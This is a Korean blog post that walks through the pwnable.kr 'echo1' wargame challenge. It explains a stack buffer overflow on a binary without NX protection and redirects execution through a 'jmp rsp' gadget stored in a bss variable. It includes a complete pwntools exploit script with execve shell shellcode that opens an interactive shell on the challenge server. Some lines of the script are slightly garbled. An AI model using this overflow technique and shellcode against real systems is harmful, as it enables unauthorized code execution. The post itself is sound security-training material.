본문 바로가기

Hacking/Pwn

Pwnable.kr - echo1


25점 짜리이다.


취약점은 echo1 함수에서 일어나는데, s는 0x20만큼 할당되있지만 128byte만큼 받기때문에 overflow가 발생함!


NX도 없어서 쉘코드를 넣어서 할려했는데


딱히 쉘코드를 넣을곳이 없다 ㅠㅠ 그래서 막 찾아보다가 id 라는게 bss영역에 저장되어있다



그러면 rip를 저 id영역으로 돌리고 쉘코드를 집어넣으면 된다!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
= remote("pwnable.kr"9010)
print r.recv(2048)
jmp_rsp="\xff\xe4"
 
r.sendline(jmp_rsp)
 
print r.recvuntil(">")
 
jmp_rsp="\xff\xe4"
id_addr = 0x6020a0
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = "A"*40
payload += p64(id_addr)
payload += shellcode
 
r.sendline("1")
 
print r.recv(2048)
print r.recv(2048)
r.sendline(payload)
 
r.interactive()
 
cs


왜 jmp rsp를 넣냐면 사실은 id가 처음에 이름넣을때 쓰이는 변수인데

이름을 넣으면 그 변수에 차곡차곡 저장된다 

그래서 id변수로 갸를 돌리고 그 id변수가 jmp rsp 하게되면 쉘코드로 점프하기 때문에 쉘코드가 실행된다!




'Hacking > Pwn' 카테고리의 다른 글

Lord Of Buffer Over Flow - Gate ->Gremlin  (0) 2017.10.18
DEFCON 2015 - baby's first heap  (1) 2017.10.03
힙을 gdb로 살펴보자!  (0) 2017.10.02
Pwnable.kr - cmd1  (0) 2017.10.01
CSAW 2013 Exploitation - exploit1  (0) 2017.09.30